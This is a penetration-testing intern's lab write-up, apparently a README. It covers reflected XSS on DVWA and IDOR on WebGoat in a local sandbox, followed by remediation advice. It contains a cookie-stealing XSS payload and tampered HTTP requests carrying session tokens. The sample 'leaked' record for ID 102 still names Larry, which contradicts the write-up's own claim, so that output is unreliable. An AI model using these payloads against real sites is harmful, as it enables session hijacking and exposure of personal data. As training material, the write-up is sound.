## https://sploitus.com/exploit?id=9185D070-3156-5B48-BBF6-618037B35F18
# Day 14: Reflected Cross-Site Scripting (XSS) & Broken Access Control (IDOR) Assessment
## 📌 Project Overview
This repository contains the technical execution logs, code-level analysis framework, captured HTTP traffic records, and hardening recommendations completed during **Day 14 of my Vulnerability Assessment and Penetration Testing (VAPT) Internship with TriosCyber** (in partnership with Ernith).
The objectives of this assignment were twofold:
1. Identify and exploit a **Reflected Cross-Site Scripting (XSS)** vulnerability inside a web target to trace input reflection bounds and DOM execution properties.
2. Conduct a **Broken Access Control / Insecure Direct Object Reference (IDOR)** horizontal privilege escalation assessment against an enterprise role module to demonstrate unauthorized data extraction across distinct account structures using **Burp Suite Repeater**.
---
## 🛠️ Lab Environment & Infrastructure
* **Attacker System:** Kali Linux VM (`192.168.145.128` - VMware Workstation)
* **Target Application Sandbox Host:** OWASP Broken Web Applications VM (`192.168.145.134`)
* **Target Vulnerability Lab 1:** DVWA v1.8 — Reflected XSS Endpoint (`/dvwa/vulnerabilities/xss_r/`)
* **Target Vulnerability Lab 2:** OWASP WebGoat v5.4 — Role-Based Access Control Module (`/WebGoat/attack`)
* **Proxy Interception Engine:** Burp Suite Community Edition v2026.8
---
## 🚀 Task 1: Reflected Cross-Site Scripting (XSS) Assessment
### 1. Input Point Discovery & Baseline Inspection
The target endpoint field accepts user strings and renders them dynamically onto the resulting landing interface. A baseline HTTP transaction request was intercepted tracking dummy data:
```http
GET /dvwa/vulnerabilities/xss_r/?name=testname HTTP/1.1
Host: 192.168.145.134
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Cookie: PHPSESSID=8r6dq3kqtoe18ap8hkps2u5870; security=low
Connection: keep-alive
```
### 2. Payload Injection & DOM Execution Verification
Because the raw data string bounds were reflected into the server application page body without receiving type casting or validation, a standard client-side script execution payload was passed to evaluate browser handling traits:
```html
alert(document.cookie)
```
#### 📋 Raw Intercepted Request (Burp Suite Proxy View)
```http
GET /dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E HTTP/1.1
Host: 192.168.145.134
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Cookie: PHPSESSID=8r6dq3kqtoe18ap8hkps2u5870; security=low
Connection: keep-alive
```
#### 📋 Observed DOM Execution Behavior
The server template accepted the raw argument value and immediately returned the unencoded script text blocks directly inside structural HTML `` container structures. The testing client's browser engine interpreted the response text as actionable layout code, rendering an execution pop-up dialog exposing active session tokens:
```plaintext
security=low; PHPSESSID=8r6dq3kqtoe18ap8hkps2u5870; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
```
---
## 🚀 Task 2: Broken Access Control & IDOR Assessment
### 1. Environment & Target Constraints
* **Testing Area:** OWASP WebGoat — *Role Based Access Control (Stage 1: Bypass Presentational Layer Access Control)*.
* **Assessment Core Objective:** Extract unauthorized personnel database profiles by directly tampering with object index pointers (`employee_id`) passed inside backend requests.
### 2. Side-by-Side HTTP Transaction Differential Analysis
#### Baseline Request (Authorized Account Context - Larry Stooge)
The browser maps an individual request to look up the active logged-in employee record data profile string (`employee_id=101`) while parsing normal `Basic` HTTP authorization tokens:
```http
POST /WebGoat/attack?Screen=65&menu=200 HTTP/1.1
Host: 192.168.145.134
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Authorization: Basic cm9vdDpvd2FzcGJ3YQ==
Cookie: PHPSESSID=8r6dq3kqtoe18ap8hkps2u5870; JSESSIONID=EDEB8A2DCDE2058141173433EC130AE7
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
employee_id=101&action=ViewProfile
```
* **Server Response:** Confirms data match, rendering Larry Stooge profile information data points (SSN: `386-09-5451`, Base Salary: `55000`).
#### Tampered IDOR Request (Horizontal Parameter Escalation via Burp Repeater)
The transaction string was loaded into **Burp Suite Repeater**. While preserving the active authorization parameters and tracking tokens (`JSESSIONID`) tied strictly to Larry's profile, the underlying entity reference payload was manipulated to call user index vector `102`:
```http
POST /WebGoat/attack?Screen=65&menu=200 HTTP/1.1
Host: 192.168.145.134
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Authorization: Basic cm9vdDpvd2FzcGJ3YQ==
Cookie: PHPSESSID=8r6dq3kqtoe18ap8hkps2u5870; JSESSIONID=EDEB8A2DCDE2058141173433EC130AE7
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
employee_id=102&action=ViewProfile
```
#### 📋 Exploited Response Output (Unauthorized Record Leaked)
```http
HTTP/1.1 200 OK
Date: Mon, 14 Sep 2026 14:39:51 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 30809
Welcome Back Larry - View Profile Page
First Name: Larry Last Name: Stooge
Street: 9175 Guilford Rd City/State: New York, NY
Phone: 443-689-0192 Salary: 51000
SSN: 306-09-5451 Manager: 102
Credit Card: 2170540980953547
```
* **Vulnerability Analysis:** Altering index values bypasses front-end visual layer elements completely. Because the backend environment does not perform server-side object-level access verification to validate if Session `101` actually owns or has authorization to see resource index `102`, it maps the execution data query anyway, leaking alternate employee profile specifics, financial limits, and SSN arrays.
---
## 📊 Summary Security Findings Matrix
| Vulnerability Category | Tested Target | Vulnerable Parameter | Threat Severity | Risk & Exploit Impact | Primary System Root Cause |
| :--- | :--- | :--- | :---: | :--- | :--- |
| **Reflected XSS** | DVWA (`/xss_r/`) | `name` (GET) | 🔥 **High** | Session hijacking via credential theft, DOM manipulation, and malicious tracking injections. | Missing context-aware output encoding on dynamically rendered input arguments. |
| **IDOR / Access Control** | WebGoat (`/attack`) | `employee_id` (POST) | 🔥 **High** | Horizontal privilege escalation; unauthorized mapping of private personnel files, SSNs, and credit records. | Deficient server-side data validation checks verifying matching resource ownership. |
---
## 🛡️ Remediation & Hardening Controls
To protect development assets against client-side exploitation vectors and access manipulation bypasses, deploy these code-level defenses from your end:
### 1. Reflected XSS Defenses
* **Enforce Context-Aware Output Encoding:** Filter dynamic execution strings by passing data through robust text entity sanitizers like `htmlspecialchars` before variables can render inside layout contexts:
```php
// Secure PHP Output Resolution
echo "Hello " . htmlspecialchars(\$_GET['name'], ENT_QUOTES, 'UTF-8');
```
* **Deploy Content Security Policy (CSP) Directives:** Use strict HTTP headers to restrict execution environments to trusted origins, neutralizing inline payload execution completely:
```http
Content-Security-Policy: default-src 'self'; script-src 'self';
```
### 2. IDOR / Broken Access Control Defenses
* **Enforce Server-Side Object-Level Validation:** Never trust client-supplied index keys alone. Establish database checking routines to ensure the active authentication index matches requested rows directly:
```java
// Secure Server-Side Java Validation Mapping
if (!requestedEmployeeId.equals(session.getAttribute("user_id"))) {
throw new UnauthorizedAccessException("403 Forbidden: Request Ownership Mismatch");
}
```
* **Transition to Cryptographic Randomized Identifiers (UUIDs):** Completely eliminate predictable, incremental database rows (`101`, `102`) by utilizing randomized, high-entropy Universally Unique Identifiers (`UUIDv4`) to break brute-force mapping strategies.
---
## 📂 Repository Structure
```plaintext
.
├── README.md
├── screenshots/
│ ├── xss_reflected_poc.png
│ ├── xss_burp_intercept.png
│ └── idor_repeater_comparison.png
└── outputs/
└── burp_day14_requests.txt %
```
---
## 👤 Author
**Azeez Umar Opeyemi**
* 💼 **Role:** VAPT Intern at TriosCyber
* 📧 **Email:** umaropeyemiazeez@gmail.com
* 🐙 **GitHub:** [itzumaz](https://github.com/itzumaz)
* 🔗 **LinkedIn:** [Azeez Umar Opeyemi](https://www.linkedin.com/in/azeez-umar-opeyemi-201a433a4/)